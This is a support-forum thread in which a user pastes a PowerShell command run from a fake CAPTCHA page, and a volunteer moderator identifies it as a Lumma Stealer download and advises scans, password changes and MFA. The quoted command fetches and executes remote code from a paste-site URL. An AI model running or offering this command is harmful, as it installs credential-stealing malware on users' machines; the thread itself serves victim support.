Share via

Entering powershell command promt mistakenly

Anonymous
2025-02-11T16:49:02+00:00

I (stupidly) mistakenly entered below command prompt when trying to access a website, is there a way to check if it affects my computer? And if it does, is there a way to fix this? Thank you in advance.

POWErshelL -w 1 . IEX(('https://nopaste.net/YNW0Hgj1vb'|%{(IWR (Get-Variable _ -ValueO))}).Content) # ''I am not a robot: rėCAΡTCHA Verification ID: 7811'' "

Windows for home | Windows 11 | Security and privacy

Locked Question. This question was migrated from the Microsoft Support Community. You can vote on whether it's helpful, but you can't add comments or replies or follow the question.

0 comments

4 answers

Sort by: Most helpful
Most helpful Newest Oldest
  1. _AW_ 67,206 Reputation points Volunteer Moderator
    2025-02-11T21:45:57+00:00

    The command leads to Lumma Stealer running on your computer, assuming that the URL was still valid when you ran the command. As of now it has been taken down. Unfortuantely there's no way to determine whether or not it ran.

    Lumma self deletes after uploading the information it gathers. Run a scan with Malwarebytes and/or ESET to make sure nothing else is running.

    https://www.malwarebytes.com/mwb-download 

    https://www.eset.com/au/home/online-scanner/  - Press the One Time Scan button.

    Then change all your important passwords and use MFA where possible.

    2 people found this answer helpful.
    0 comments
  2. _AW_ 67,206 Reputation points Volunteer Moderator
    2025-02-14T05:48:15+00:00

    Unfortunately I can't tell you whether the infection was successful or not. The domain used to spread the stealer is forever changing. If in doubt, it's best to assume the worst and change all your important passwords and use MFA where possible.

    1 person found this answer helpful.
    0 comments
  3. Anonymous
    2025-02-12T14:44:00+00:00

    Thank you for your reply. I have entered same command prompt around 8:00 PM on February 12th, Beijing time. As you say it has been taken down when you reply, does it mean that my stupid action would not affect my computer? Looking forward to your reply, thank you.

    1 person found this answer helpful.
    0 comments
  4. Anonymous
    2025-02-16T08:53:26+00:00

    I get it, thank you for your reply.

    0 comments